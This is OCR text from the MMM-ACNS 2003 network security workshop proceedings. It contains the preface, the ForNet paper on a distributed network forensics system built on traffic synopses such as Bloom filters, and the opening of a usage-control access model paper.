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Preface

This volume contains the papers presented at the International Workshop on
Mathematical Methods, Models and Architectures for Computer Network Secu-
rity (MMM-ACNS 2003) held in St. Petersburg, Russia, during September 21-23,
2003. The workshop was organized by the St. Petersburg Institute for Informatics
and Automation of the Russian Academy of Sciences (SPIIRAS) in cooperation
with the Russian Foundation for Basic Research (RFBR), the US Air Force Re-
search Laboratory /Information Directorate (AFRL/IF) and the Air Force Office
of Scientific Research (AFOSR), the Office of Naval Research International Field
Office (USA), and Binghamton University (SUNY, USA).

The first international workshop of this series, MMM-ACNS 2001, May 21—
23, 2001, St. Petersburg, Russia, hosted by the St. Petersburg Institute for In-
formatics and Automation, demonstrated the keen interest of the international
research community in the theoretical aspects of computer network and informa-
tion security and encouraged the establishment of an on-going series of brennial
workshops.

MMM-ACNS 2003 provided an international forum for sharing original re-
search results and application experiences among specialists in fundamental and
applied problems of computer network security. An important distinction of the
workshop was its focus on mathematical aspects of information and computer
network security and the role of mathematical issues in contemporary and future
development of models of secure computing.

A total of 62 papers from 18 countries related to significant aspects of both
the theory and the applications of computer-network and information security
were submitted to MMM-ACNS 2003. Out of them 29 were selected for regular
and 12 for short presentations. Five technical sessions were organized, namely:
mathematical models for computer network security; methods, models, and sys-
tems for intrusion detection; methods and models for public key infrastructure,
access control and authentication; mathematical basis and applied techniques of
cryptography; and steganographic algorithms. The panel discussion was devoted
to the challenging problems in intrusion detection. The MMM-ACNS 2003 pro-
gram was enriched by six distinguished invited speakers: Dr. Shiu-Kai Chin, Dr.
Nasir Memon, Dr. Ravi Sandhu, Dr. Anatol Slissenko, Dr. Salvatore Stolfo, and
Dr. Shambhu Upadhyaya.

The success of the workshop was assured by team efforts of sponsors, organiz-
ers, reviewers, and participants. We would like to acknowledge the contribution
of the individual program committee members and thank the paper reviewers.
Our sincere gratitude goes to the participants of the workshop and all the authors
of the submitted papers.

We are grateful to our sponsors: the European Office of Aerospace Re-
search and Development (EOARD), the European Office of Naval Research In-
ternational Field Office (ONRIFO), the Russian Foundation for Basic Research
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(RFBR), and the Ministry of Industry, Technical Policy, and Science of the Rus-
sian Federation for their generous support.

We wish to express our thanks to Alfred Hofmann of Springer-Verlag for his
help and cooperation.

September 2003 Vladimir Gorodetsky
Leonard Popyack
Victor Skormin
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ForNet: A Distributed Forensics Network

Kulesh Shanmugasundaram, Nasir Memon,
Anubhav Savant, and Herve Bronnimann

Department of Computer and Information Science
Polytechnic University, Brooklyn, NY 11201, USA
{kulesh,anubhav}@isis.poly.edu, {memon,hbr}@poly.edu

Abstract. This paper introduces ForNet, a distributed network logging
mechanism to aid digital forensics over wide area networks. We describe
the need for such a system, review related work, present the architecture
of the system, and discuss key research issues.

1 Introduction

Computer networks have become ubiquitous and an integral part of a nation’s
critical infrastructure. For example, the Internet is now regarded as an economic
platform and a vehicle for information dissemination at an unprecedented scale
to the worlds population. However, the last few years have taught us that these
very networks are vulnerable to attacks and misuse. Hence, mitigating threats to
networks have become one of the most important tasks of several government and
private entities. Recent attacks on critical network infrastructures are evidence
that defensive mechanisms, such as firewalls and intrusion detection systems,
alone are not enough to protect a network. Lack of attack attribution mechanisms
on our networks provides an excellent cloak to perpetrators to remain anonymous
before, during, and after their attacks. Most often we are not only unable to
prevent the attacks but also unable to identify the source of the attacks. In
order to guarantee the security and the survival of future networks we need to
complement the defensive mechanisms with additional capabilities to track-and-
trace attacks on wide area networks.

The problem with most defensive measures is that they are fail-open by
design and hence when they fail the attackers have the opportunity to leave
the crime scene without any evidence. In order to track down the perpetrators,
forensic analysts currently rely on manually examining packet-logs and host-logs
to reconstruct the events that led to an attack. This process has the following
drawbacks:

— Large Volume of Data: Growth of network traffic out-paces Moore’s
law [39] making prolonged storage, processing, and sharing of raw network
data infeasible. Most of the approaches to evidence collection have focused
on improving the performance of packet-loggers to keep up with ever in-
creasing network speeds and have failed to exploit the inherent hierarchy of
networks or the availability of various synopsis techniques to collect evidence
efficiently.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 1-[G] 2003.
© Springer-Verlag Berlin Heidelberg 2003
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— Incompleteness of Logs: Most network administrators rely on alerts from
intrusion detection systems and the resulting packet-logs for forensic analy-
sis. It is important to note that intrusion detection systems log packets only
when an alert is triggered. Hence, a new attack or an attack currently not de-
fined by the security policy is not recorded by the system. Some networks are
equipped with packet-loggers which log packets indiscriminately. However,
due to cost considerations and associated storage requirements, such packet
loggers are usually deployed at network edges and do not witness network
events, such as insider attacks, that never cross network boundaries.

— Long Response Times: Most of the investigative process is manual. Since
attacks often span multiple administrative domains, this makes response
times undesirably long. Since digital evidence is malleable it is important to
reduce response times so that evidence can be secured on time.

— Lack of Mechanisms to Share Logs: The inability of existing forensic
mechanisms to share evidence and lack of mechanisms to query networks pro-
hibit forensic analysts from exploring networks incrementally while tracking
and tracing an attack. This in turn results in inefficient allocation of resources
because the analysts are unable to confine their search for perpetrators to a
particular network.

— Unreliable Logging Mechanisms: Logging mechanisms on hosts are not
reliable and can easily be circumvented by adversaries. Increasing use of
wireless networks and support for mobility enable hosts to join a network
from any arbitrary point and makes enforcement of prudent host logging
policies difficult.

As more and more failures of defensive mechanisms result in financial dam-
ages and cause significant threats to our critical infrastructure, there will be an
increased need for attack attribution so that criminal acts do not go unpunished.
In this context, digital forensics will play an increasingly vital role in the security
of future networks. In fact, we envision that future networks will be equipped
with forensic components that complement existing defensive mechanisms to
provide viable deterrence to malicious activity by increasing our ability to track
and trace attacks to their source.

In this paper we present the design of a network forensics system, ForNet, that
aims to address the lack of effective tools for aiding investigation of malicious
activity on the Internet. ForNet is a network of two functional components.
A Synopsis Appliance, called SynApp, is designed to summarize and remember
network events in its vicinity for a prolonged period of time and be able to attest
to these events with certain level of confidence. A Forensic Serveris a centralized
authority for a domain that manages a set of SynApps in that domain. A Forensic
Server receives queries from outside its domain, processes them in co-operation
with the SynApps within its domain and returns query results back to the senders
after authentication and certification.

One key idea behind our network forensics system is that it builds and stores
summaries of network events, based on which queries are answered. Ideally, a net-
work forensics system should provide complete and accurate information about
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network events. However, this is not feasible in practice due to storage limita-
tions. It is our contention that even if a network forensics system is unable to
provide complete and accurate information about network events, as long as we
have intelligent summaries, snippets of approximate information can be put to-
gether to form the “big picture,” much like corroborating evidence in classical
forensics.

For example, let us consider the latest Internet worm outbreak, SQL Slam-
mer Worm, as a possible investigation scenario where an analyst has to find
the origin of the worm. The worm spreads by infecting unpatched SQL Servers
running on UDP port 1434. Assuming ForNet is widely deployed on the Inter-
net the analyst needs to determine from which region of the Internet the worm
began its propagation. Since SynApps keep track of various events in their local
environment, the analyst will be able to determine a spike in traffic to port 1434
on any network. Starting from an arbitrary network the analyst can now query
the network about its first observation in increased activity to port 1434 and
recursively query any network which reports the earliest time. These recursive
queries will eventually lead us to a particular network from which the worm
started its propagation. Now the analyst can focus their investigative resources
into a particular network to locate a host that sent out the first malignant packet
to port 1434. This would help them associate a particular host to the outbreak.
When further investigation on the host turns up new leads, ForNet can be used
in a similar fashion to find the perpetrator who actually unleashed the worm.

Currently there is no infrastructure to provide valuable, trustworthy infor-
mation about network events. We believe ForNet will fill this gap. The rest of
this paper is organized as follows: the next section presents a brief overview of
related work. Section 3 presents design goals of ForNet and an overview of the
system. In Section 4 we discuss synopsis techniques, followed by a discussion of
security issues in the design of ForNet in Section 5 and we conclude in Section
6 with a discussion on future work.

2 Related Work

Network Forensics: There has been very little work done in network forensics.
Mnemosyne is a dynamically configurable advanced packet capture application
that supports multi-stream capturing, sliding-window based logging to conserve
space, and query support on collected packets [27]. In [40], a general framework
in terms of enterprise network and computer related policies to facilitate inves-
tigation is presented. Also, in the recent past, researchers have proposed some
clever solutions to the Denial Of Service (DoS) problem by tracing IP packets
back to their source (IP traceback) [36,331371612}10124]. Most of this work can
be grouped into two main categories: one in which no extra network packets are
generated [36}[331[37,[T2/[T0] and the other in which a few extra network packets
are generated [6,24]. The former is either based on probabilistic packet marking
which overloads existing header fields (e.g. IP fragment ID field) to succinctly
encode the path traversed by a packet in a manner that will have minimal im-
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pact on existing users or based on keeping the digest of all the IP packets in
the infrastructure itself (e.g. routers). Thus, given an input IP packet, it can
be reliably traced back to its origin. In the latter technique, a router picks a
network packet with a small probability (e.g. 1 in 20,000) and sends a traceback
packet as an ICMP message to the destination of the packet with the router’s
own IP as the source. During a denial of service attack the victim will receive
sufficient traceback packets to reconstruct the attack path. Recently, another
system to track malicious emails (in fact any email) has been proposed, which
aims to reduce the spread of self-replicating viruses [7].

Intrusion Detection Systems: Intrusion Detection Systems (IDS) have been stud-
ied extensively over the past few years and the main body of work can be cat-
egorized into two groups, signature based and anomaly detection systems [13].
Signature-based methods rely on a specific signature of an intrusion which when
found triggers an alarm [23}12T]. Such systems cannot detect novel attacks as
evident by recent Internet worm activities. On the other hand, anomaly de-
tection systems rely on characterizing normal operations of a network or a
host and attempt to detect significant deviations from the norm to trigger an
alarm [161[22,80129]. Although anomaly detection systems can detect novel at-
tacks to a certain extent they are not a viable solution because of the unaccept-
able rate of false alarms [2]. Hybrid solutions [I], that combine signature based
systems and anomaly detection systems, have been suggested to decrease false
alarm rates and are used in commercial products. SHADOW and EMERALD
are distributed IDS capable of collecting and processing data from various points
on a network. As far as we know these are the earliest schemes to collect data in
a distributed manner for security related analysis. In these systems raw data is
collected and transferred to a central collection facility for analysis. IDS’ are not
always suitable for forensic analysis as they only catch the known or the unusual.
But crimes are often committed by insiders using new and unknown methods.
It is conceivable that an IDS and a forensics system can co-operate with each
other, but this is beyond the scope of this paper. We envisage the community
moving in this direction, once we have demonstrated a working prototype.

Synopsis Techniques for Managing Data Streams: Data Stream Management
Systems (DSMS) have been proposed [5] to integrate data collection and pro-
cessing of network streams in order to support on-line processing for various
network management applications. Data stream management systems work on
continuous streams of data with stringent bounds on space and processing power
to produce best estimate results [3/28]. With such volumes of data, there is no
time to do detailed analysis but only some synopses of the data streams can be
extracted and archived. There are various approaches to building synopses of
data streams [17] (histograms [19)[38,2526], samples [4[17], wavelets [18], deci-
sion trees [14120], sliding windows [4[11], Bloom-filters [8,[]) and each is adapted
to a certain kind of queries. Often, the kind of aggregate queries they answer
are not suitable for forensics, as they tend to focus on the recent past (sliding
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windows), or on global aggregate quantities (histograms, wavelets), instead of
focusing on precise periods or events in the past.

Industry Efforts: It is only until recently that commercial organizations have re-
alized the significance of a forensics system in aiding investigation for the cause of
network security problems. In fact, at the time of writing Network Associates in-
troduced a forensics tool called InfiniStream [32], which is a brute force approach
that will not scale to a network of appliances. Also, there does not seem to be
any concept of a network of Forensics Servers that we describe. Another product
along similar lines is from Sandstorm Enterprise called NetIntercept [15].

3 Overview of ForNet

In this section we provide an overview of ForNet, and describe the architecture
of one of its components, the SynApp. ForNet is a distributed network logging
mechanism to aid digital forensics over wide area networks. It is highly scalable
and hence can keep up with ever increasing volume of data that goes through our
networks. Unlike traditional packet-loggers, ForNet uses synopsis techniques to
represent enormous volume of network traffic in a space-efficient manner so that
it can be stored, processed, or transported across networks to answer queries.

3.1 ForNet Blueprint

ForNet is made of two main components: SynApps and Forensic Servers. SynApp
is an appliance that can be integrated into networking components, such as
switches and routers, that can summarize and remember network events in its
vicinity for a prolonged period of time and be able to attest to these events with
certain level of confidence. Although a single SynApp functioning on its own
can provide very useful information to a forensic analyst, a network of such co-
operating appliances (even across a corporate intranet) would bring powerful new
possibilities to the types of information that could be inferred from the combined
synopses. Networking SynApps would also help them share data, storage, and
let them collaborate in answering queries accurately. These SynApps can be
arranged in a pure peer-to-peer architecture to collaborate with each other in
the absence of centralized control. A hierarchical architecture is simpler (See
Fig. ) and would also work better with the given structure of the Internet.

In the hierarchical architecture all the SynApps within a domain form a net-
work and are associated with the Forensic Server of that domain. Like the DNS
servers of today, we envision future networks to have Forensic Servers as a critical
component of their infrastructure. Forensic Server functions as a centralized ad-
ministrative control for the domain, receiving queries from outside its domain to
pass them on to the query processor and storage management unit (which could
be located in the SynApp or in the Forensic Server) after authentication and
sending query results back after certification. Network of SynApps form the first
level of hierarchy in the hierarchical architecture of ForNet. Naturally, Forensic
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Forensic
Servers

_____ Motion of Attack
= = = Motion of Forensics

Fig. 1. Hierarchical Architecture of ForNet

Servers themselves can be networked for inter-domain collaboration which forms
the second level of the hierarchy. Queries that need to cross domain boundaries
go through appropriate Forensic Servers. A Forensic Server is the only gateway
to queries sent to a domain from outside the domain boundaries. A query sent
to a domain is addressed to the Forensic Server of the domain, authenticated
by the server and passed on to appropriate SynApps in the domain. Likewise,
results from the SynApps are sent to the Forensic Server that is in control of the
domain where it is certified and sent back. In practice queries would begin from
the leaf nodes from a branch in the hierarchy, traverse Forensic Servers in higher
levels, and end up in leaf nodes in another branch. Queries would usually travel
in the opposite direction of the attack or crime. In the beginning queries will be
more general as the analyst tries to pin-point the origin of the attack and then
the queries become very precise as she close in on the source of the attack.

3.2 Architecture of a SynApp

Here we show how we intend to package various synopsis techniques discussed
in the next section into a single appliance, the SynApp, which we have begun to
realize first in software, and then in its final form as a small network appliance
dedicated to synopsizing network traffic. The appliance has two abstract compo-
nents, a network resident synopsis engine and the Forensics Server — a possibly
external query processing and storage management unit. These are further di-
vided into several functional modules. Fig. Pl illustrates the overall architecture
of the appliance with an integrated Forensics Server. We envision that such an
appliance can be seamlessly integrated into networking components or it can be
attached to the network right after a router.

The modular architecture allows for a variety of configurations of SynApps
and Forensic Server in a network (to satisfy budgetary and security policy re-
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Fig. 2. Architecture of a SynApp with an Integrated Forensics Server

quirements of an organization). Cheaper SynApps can be designed without per-
sistent storage and query processor. In this case, SynApps periodically send
synopses to the Forensic Server which will handle storage and queries itself. On
the other hand, SynApps can be independent of Forensic Server. In this setup a
SynApp overwrites its old storage whenever it needs more memory and functions
as a self-contained unit sparing the expenses of maintaining a Forensic Server.

We briefly describe the functionality of each element below:

— Network filter: The appliance may not intend to process every single packet
the router sees and uses the filter to extract useful packets.

Synopsis Engine: The engine contains data structures and algorithms that
can be used to represent network traffics succinctly. The data structures
and algorithms can be tuned (for example via a trade-off between space-
efficiency and accuracy) via the configuration manager. Each packet that
passes through the network filter is pipelined through the synopsis techniques
implemented in the synopsis engine and each technique decides to process
or not to process a packet based on the signal it receives from the Synopsis
Controller.

Synopsis Controller: The Synopsis controller instructs synopsis techniques
in the engine whether to process or not to process a given packet. A rule-set
written by the user and processed by the Configuration Manager allows the
user to modify how packets should be handled by the synopsis engine. Sepa-
rating the design of data structures and algorithms (in the synopsis engine)
and the function of these techniques (how they are mixed and matched, in
the synopsis controller) results in an extensible architecture which can be
programmed to record various events.

Configuration Manager: Configuration manager is the interface between a
network administrator and the appliance which allows the administrator to
fine-tune various operations of the appliance.

Security Manager: Each query that will be served by the query processor
must be authenticated by the security manager so that rogue queries from
unknown users are simply ignored. In addition, security manager signs and
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time-stamps each data item written to the database to protect integrity and
to be able to use in a court of law.

— Storage Management and Query Processor: Query processor handles all
database access and query processing issues and is discussed in more de-
tail below when we discuss the Forensics Server.

3.3 Design Considerations

Experiences we have had with a simple proof-of-concept ForNet network in a
large network have steered us toward achieving the following design goals for a
forensically sound network logging mechanism:

Capture of Complete € Correct Evidence: Network speeds have grown consid-
erably over the years making it difficult to capture raw network traffic in its
entirety. Therefore, SynApps should be able to capture network traffic and cre-
ate appropriate synopses at line speeds. Our goal is to implement SynApps in
hardware by using network processors such that synopses can be created at line
speed. Traditional packet-loggers encounter severe bottlenecks when transfer-
ring raw network data from high-speed network media to slower storage media.
SynApps get around this bottleneck by transferring synopsis of network traffic
which is only a fraction of the size of actual traffic. Furthermore, synopsis tech-
niques also allow us to quantify the errors during transformation of raw data
such that an analyst can quantify the correctness of evidence upon retrieval.

Longevity € Accessibility of Evidence: Captured network data must be stored
for a prolonged period of time as we don’t know when we might need the data.
Synopses allow us to archive evidence for a longer time (compared to storing
raw network data) as they represent large amount of network data succinctly.
Prompt and secure access to evidence is important to solving a crime on time.
SynApps support secure remote access to evidence via a query mechanism.

Ubiquity of SynApps: In order for SynApps to capture evidence they must be
omnipresent on a network. Hardware design of SynApps will be such that they
can be seamlessly integrated into networking components and their presence on
the network can be as ubiquitous as that of networking components.

Security € Privacy: It is safer to assume various components of ForNet will
be potential targets of attacks themselves. We discuss some attacks on ForNet
in Section 5. Moreover, any forensic tool that monitors networks must consider
privacy implications and support adequate compartmentalization of data they
store.

Modular € Scalable Design: Modular design of various components of ForNet
allows for new synopsis techniques to be introduced into the system without
expensive redesigns. In order to keep up with ever increasing network traffic
ForNet must scale well as a whole. Therefore, various components of ForNet, from
communication protocols to query processors, must be designed with scalability
in mind.
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4 Synopsis Techniques

Evidence of crimes can be found in network events that are well defined by
various fields in packet headers and/or by application dependent payloads. A
brute force approach that entails storing entire packets is not feasible for rea-
sons discussed in Section [Il Therefore, we adopt synopsis techniques to record
the network events in a succinct form for a prolonged period of time. A synopsis
is a succinct representation of massive base data that can provide approximate
answers to queries about base data within a predefined level of confidence. Defin-
ing a network event can be as simple as concatenating a set of values from fields
in the header of a single packet or it can be as complex as extracting various
features from a collection of several packets. For example, a TCP connection
establishment event can be defined by a pair of IP addresses and a pair of port
numbers from a TCP packet with SYN flag set. On the other hand, port scanning
event cannot be defined simply by a set of fields in the packet headers or by the
payload. Defining a port scan would involve computing a variety of properties of
network traffic, such as packet arrival rate per host and distribution of source IP
addresses etc. In this section we briefly present a few useful synopsis techniques
that can be used to capture network events succinctly. A detailed discussion of
these and other techniques can be found in [35].

Connection Records: Network events, such as connection establishment and tear-
down, are usually well defined by various fields in the packet headers. A simple
scheme that is sufficient to answer queries of the form who established a connec-
tion during time t? and how long did the connection last? is to store the pair
of endpoints (host, port) with the TCP flags. We call this a connection record.
We can store connection records for all TCP connections, within a given time
window, if any of the three flags SYN, FIN, or RST is set. The cost for this is
roughly 26 bytes per TCP connection. So for example, in a moderately loaded
network, where on an average we expect to see 100 connections a second, this
would require about 1300 bytes to be timestamped and stored every second. The
total cost over a day of these records would only be about 200MB.

Bloom Filters: A different and potentially more space-efficient approach to track
network events can be arrived at by using Bloom filters [8]. A Bloom filter is a
probabilistic algorithm to quickly test membership in a large set using multiple
hash functions into a single array of bits. Space efficiency is achieved at the cost
of a small probability of false positives. For example, we adapt Bloom filters to
keep track of connections by periodically inserting the hash of the pair of IP
addresses, the port numbers and TCP flags of packets with TCP SYN, FIN, or
RST flags set. To check whether a particular connection was seen during a time
window, we compute the necessary hashes (on IP, port, and TCP flag fields) and
test it against all available Bloom filters for the time window. If a Bloom filter
answers “yes” then we know the connection packet was seen with a confidence
level determined by the false positive rate of the filter. Otherwise we know for
certain that the corresponding packet was not seen.
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A Bloom filter with a false positive rate of 4.27 x 107> uses only 42 bits (or
about 5 bytes) of storage per connection. In comparison, a connection record
uses 26 bytes to store a connection. Note, however, to use the Bloom filters we
need the information about connection headers and these headers can only be
obtained where connection records are maintained. The inherent hierarchy of
the network plays a vital role in solving this problem. In the ForNet hierar-
chy (See Fig[l) SynApps closer to the end hosts maintain connection records
whereas SynApps closer to the network edge maintain the Bloom filters. With
such an arrangement we can also identify spoofing as the connections can now
be confirmed not only at the subnets but also closer to the core of the network.
Besides, the space-efficiency of Bloom filters is suitable to represent numerous
connections succinctly at network edges.

Another adaptation of a Bloom filter is to represent a histogram succinctly. A
counting Bloom filter uses an array of counters instead of an array of bits to keep
a count of distinct elements in a set. Instead of flipping a bit, counting Bloom
filters increment the corresponding counter by one. The counting Bloom filter
can be used to count various properties of network traffic, like packet arrival rate
per host per port. This information can be used to determine various patterns
in network traffic.

Hierarchical Bloom Filters: Although connection records and Bloom filters are
very useful in tracking and tracing network connections, they do not help in
monitoring packet payloads. Monitoring and recording payload of network traffic
is a challenging task for two reasons:

— Lack of structure: Packet headers have a pre-defined structure and semantics
are interpreted uniformly across the network. The data payload on the other
hand is application dependent and its interpretation varies across various
applications.

— Amount of data: Packet headers are relatively small compared to payload
hence compact storage of packet headers is feasible even at higher network
speeds. The payload of a packet, on the other hand, can be several hundred
bytes long and keeping up with the amount of data is a challenging task.

In order to monitor payloads, we propose an efficient method, called Hier-
archical Bloom Filters, that supports limited wild-card queries on payloads and
allows for space-accuracy trade-offs. Hierarchical Bloom filters can support wild
card queries of the form “SpS1*S53”. A detailed description of Hierarchical Bloom
Filters is beyond the scope of this paper. A detailed description can be found
in [34]

Sampling & Histograms: In addition to connection records and Bloom filters it
is useful to sample the traffic to extract higher level features. High-level syn-
opses provide trends which may be useful to guide the search while investigating
a crime, which may later be confirmed with other synopsis techniques that re-
member all the connections and can recall with high probability if a packet was
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seen on the network. For instance, a multi-dimensional histogram will identify
that there was a high proportion of SYN packets from two machines on various
ports, which may indicate a port scan. High frequency of activity on a single port
from various machines to a single target may indicate denial-of-service attack
(DoS). It can also gather trends across time, for example detecting a slow scans.
A sample may also indicate a time period for a certain connection provided this
connection has enough packets so that at least one is included in the sample.

In general, high-level data is susceptible to data mining. Since the purpose is
forensics and not intrusion detection, a later processing is acceptable as long as
the mining has sufficient and representative data to use. A sample is adapted in
this case because it keeps a representation of the data which can later be mined
in unexpected ways whereas histograms and wavelet representation cannot.

5 Security of ForNet

The usefulness of information obtained from ForNet relies on the integrity, accu-
racy, and authenticity of results it generates. Furthermore, ForNet itself has to
be resilient to attacks by an adversary. In this section we discuss some measures
to provide integrity and authenticity of data on ForNet and possible attacks on
ForNet itself.

5.1 Security Measures in ForNet

Security primitives required for data integrity and authentication are provided by
the Security Manager. Integrity of evidence on ForNet is guaranteed by digitally
signing time-stamped synopses along with necessary meta data, such as false
positive rates and hash keys, before committing them to the database. Security
manager also enforces access control to data by means of privacy policies. All
queries should be signed by querier and security manager verifies access control
privileges of the querier upon receiving the query. If the query doesn’t violate any
privacy policies then the query processor retrieves necessary data from storage.
Upon successful completion of integrity checks on the data by security manager
query processor is allowed to process the data. Finally, results generated by the
query processor are certified at the Forensic Server and sent to the querier along
with meta data required to quantify the accuracy of results.

5.2 Attacks on ForNet

As a passive network security tool ForNet is vulnerable to most of the attacks
described in [29l31]. In addition, being a storage unit for network traffic and pro-
cessing queries from untrusted remote hosts introduce new challenges as well. A
notable distinction on the effects of these attacks on intrusion detection systems
and forensic systems, like ForNet, is that while in an IDS they may subvert
the system to avoid recording of evidence, on ForNet such attacks would create
problems during query processing and data interpretation but cannot subvert
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the system to avoid recording a set of packets. Since query processing is done
offline and does not need the strict real time response of an IDS, such attacks
can be countered more effectively in ForNet. Of course, we assume the adversary
has full knowledge of the inner workings of various ForNet components, such as
the data being stored at the Forensic Servers, algorithms used by SynApps and
query processors, security primitives in place, and their use by security manager.
We now describe possible attacks on various components of ForNet.

Forensic Server: Forensic Server needs to be protected very well, like the DNS
servers, as it contains valuable network evidence. Data corruption on Foren-
sic Server may lead to discarding results produced by the server. In order to
minimize the damage data shall be recorded to a read-only medium frequently.
In addition a rogue Forensic Server can exploit the trust relationships in the
ForNet hierarchy and attack other servers by sending rogue queries. Appropri-
ate resource allocation strategies shall be in place to rectify resource starvation
attacks on Forensic Servers.

Query Processor: Since the Forensic Server processes queries from remote servers
an adversary can send numerous queries to a server and consume its resources
or on the other hand send a complicated query to bog down its resources.

Storage Unit: Needless to say a simple denial of service attack would be to
send lot of data that will pass through the network filter and be processed
and stored by the storage unit in order to fill-up the storage unit. This attack
is especially effective when the SynApps are setup to overwrite current data or
retire it periodically to secondary or tertiary storage. An attacker can potentially
flush useful data by sending in enormous amount of spurious traffic to a SynApps.
Data retirement policies shall be designed with care to counter such attacks. For
example, keeping a representative sample of the retired data shall alleviate the
effects of such an attack.

Synopsis Engine: The synopsis engine uses various algorithms to represent net-
work data succinctly. An adversary with the knowledge of how an algorithm
works can trick the algorithm into recording lesser or no evidence at all. For
example, an attacker can fool a sampling algorithm into sampling lesser evi-
dence by “hiding” a few attack packets among a lot of bogus packets that are
eventually discarded by the end-host but are considered valid by the sampling
algorithm. An attacker can for example create lot of packets with small TTL
such that they would never reach end-hosts, or packets with invalid headers that
will be discarded by end-hosts, or simply increase the number of packets via IP
fragmentation and hide the real attack packets among them. Creating such a
cloak requires an attacker to generate numerous packets. An increase in packet
arrival rate can easily be detected by SynApps. For example, a simple synop-
sis technique, like the counting Bloom filters, can keep track of the history of
packet arrival rate per host. When the arrival rate exceeds a certain threshold
the SynApps can sample the excess data knowing it may be part of an attack.
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Such a mechanism will of course has to be deployed at SynApps closers to hosts
and not at the ones closer to the core of the network.

Forensic Analyst: In the previous case, the adversary manipulated synopsis al-
gorithms’ interpretation of evidence but it is important to note that he can also
manipulate how an analyst or the query processor interprets the evidence. For
example, the adversary can send a FIN or RST packet to a host with which he
has established a connection such that the host would take no action for the
packet — for example FIN or RST with wrong sequence numbers — however
connection records reflects a connection termination as it simply records any
packet with TCP flags set. Although the connection records will have subse-
quent real connection termination packets if the analyst or the query processor
only looks for the first FIN or RST packet following a SYN it would seem the
connection is terminated earlier. Note that unlike the previous attack, in this
attack data is available in ForNet however it is never processed as the query in-
terpretation of connection time is first FIN or RST packet that follows the SYN
packet. A persistent analyst will find this ambiguity in the connection records.

6 Conclusions and Future Work

In this paper we have motivated the need for a network forensics system that
aids in the investigation of crimes connected on or via a network. We also present
a high level description of the design of a distributed forensics network called
ForNet which aims to fill this need. At the core of ForNet is a SynApp which
creates synopses of network activity. Multiple such SynApps within a domain
and connected to other domains via a Forensics server form a hierarchical struc-
ture which comprises ForNet. We present an overview of the architecture of a
SynApps and some simple examples by means which synopses of network events
could be constructed.

Although we have described our vision and goals in this paper, a lot of effort
still remains to bring our ideas to fruition. There are many important problems
that need to be solved, which include:

— Identification of Useful Network Events: Cybercrimes are committed
over networks and the network can be viewed as a virtual “crime scene” that
holds critical evidence based on events before, during, and after a crime. The
problem is that we do not know when, where, and how a crime will be com-
mitted beforehand. The challenge then is to identify useful network events,
such as connection establishment, DNS queries, fragmentation of IP pack-
ets, etc., and choose a minimum representative set that would potentially be
evidence in a variety of cybercrimes.

— Developing Efficient Synopses: There are two types of traffic on the
Internet — packets belonging to a connection and connectionless traffic. The
traffic corresponding to connection consists of three distinct phases when
viewed at the network protocol level: connection establishment, data transfer
and connection termination. In order to keep a synopsis of such a connection
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we may need to store all the “interesting events” that happened during its
lifetime. The challenging issue here is to decide what information or events to
store that would represent the connection as succinctly as possible and at the
same time captures all relevant events. Clearly there is a trade-off between
space and accuracy that needs to be made. The problem becomes more
difficult when dealing with connectionless traffic as there is no binding glue
of a connection that imposes some structure on the nature of the traffic. Here
we basically have to decide which packets to keep a record of and what type
of record? For example histograms can be used to keep track of frequencies
of certain network traffic characteristics, like connections to a specific port
within a time window. Also, each synopsis technique in itself may not be
able to satisfy desired space-accuracy requirements. The challenge then is
how do we cascade synopsis techniques working together to record certain
network events? What combinations of techniques are suitable for recording
various types of network events efficiently? What are the implications of this
cascading on false positive or false negative analysis?

— Integration of Information from Synopses Across Multiple Net-
works: A single SynApp will only be able to answer queries about the events
within its vicinity. While this could be of tremendous use by itself, the real
power of a logging mechanism would be realized when multiple SynApp are
networked together to answer queries about events in the larger network
they span. For example, where as a single SynApp may say when a worm
appeared in a given network, together they can potentially help locate the
origin of the worm by finding out where it appeared first. This would then set
us on the right track to finding the culprit who created the worm. So the ben-
efit of networking the individual appliances is compelling, but its realization
brings out new challenges. How do we connect them so that they can jointly
respond to queries? How do we propagate queries to other (known) peers? Is
there a minimal yet complete protocol that could facilitate the cooperation
among synopses appliances? How could such a collaborative system provide
guarantees about the privacy of the data handled?

— Security of ForNet: As we discussed in Section 5, various components of
ForNet itself are targets for an attack by an adversary. Besides the attacks
described in that section we need to explore further to identify attacks on
various synopsis techniques and counter measures for these attacks. Finally,
incorporate these counter measures into SynApps so that evidence gathered
by them are still valid.
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Abstract. The term usage control (UCON) is a generalization of access
control to cover obligations, conditions, continuity (ongoing controls) and
mutability. Traditionally, access control has dealt only with authoriza-
tion decisions on a subject’s access to target resources. Obligations are
requirements that have to be fulfilled by the subject for allowing access.
Conditions are subject and object-independent environmental require-
ments that have to be satisfied for access. In today’s highly dynamic,
distributed environment, obligations and conditions are also crucial de-
cision factors for richer and finer controls on usage of digital resources.
Traditional authorization decisions are generally made at the time of
request but typically do not recognize ongoing controls for relatively
long-lived access or for immediate revocation. Moreover, mutability is-
sues that deal with updates on related subject or object attributes as a
consequence of access have not been systematically studied. In this paper
we motivate the need for usage control, define a family of ABC models as
a core model for usage control and show how it encompasses traditional
access control, such as mandatory, discretionary and role-based access
control, and more recent requirements such as trust management, and
digital rights management. In addition, we also discuss architectures that
introduce a new reference monitor for usage control and some variations.

1 Introduction

The classic access matrix model has stood fundamentally unchanged for over
three decades. The core concept of the access matrix is that a right (or permis-
sion) is explicitly granted to a subject to access an object in a specific mode,
such as read or write. This core idea has been successfully elaborated in different
directions in the familiar models of discretionary, mandatory and role-based ac-
cess control, to accommodate a diverse range of real-world access control policies.
Turing-completeness of the HRU formalization of the access matrix establishes
its wide theoretical expressive power [3].

This success and longevity notwithstanding, many researchers have realized
that the access matrix needs fundamental enhancements to meet the needs of

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 17-8&1, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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modern applications and systems. Coming from multiple perspectives, these re-
searchers have given us new concepts such as trust management, digital rights
management (DRM), task-based access control, provisional authorization, obli-
gations and more. The focused perspective has led researchers to propose partic-
ular extensions to the access matrix model to deal with shortcomings identified
in the application or system context in consideration. The net result is a prolifer-
ation of point extensions to different flavors of the access matrix model without
a unifying theme.

This paper describes a new approach to access control called usage control
as a fundamental enhancement of the access matrix. An earlier formulation of
usage control models was given in our previous paper [6]. As the core model of
usage control, a family of ABC models is built around three decision factors,
authorizations (A), obligations (B) and conditions (C). The familiar notion of
authorization is based on subject and object attributes. Obligations require some
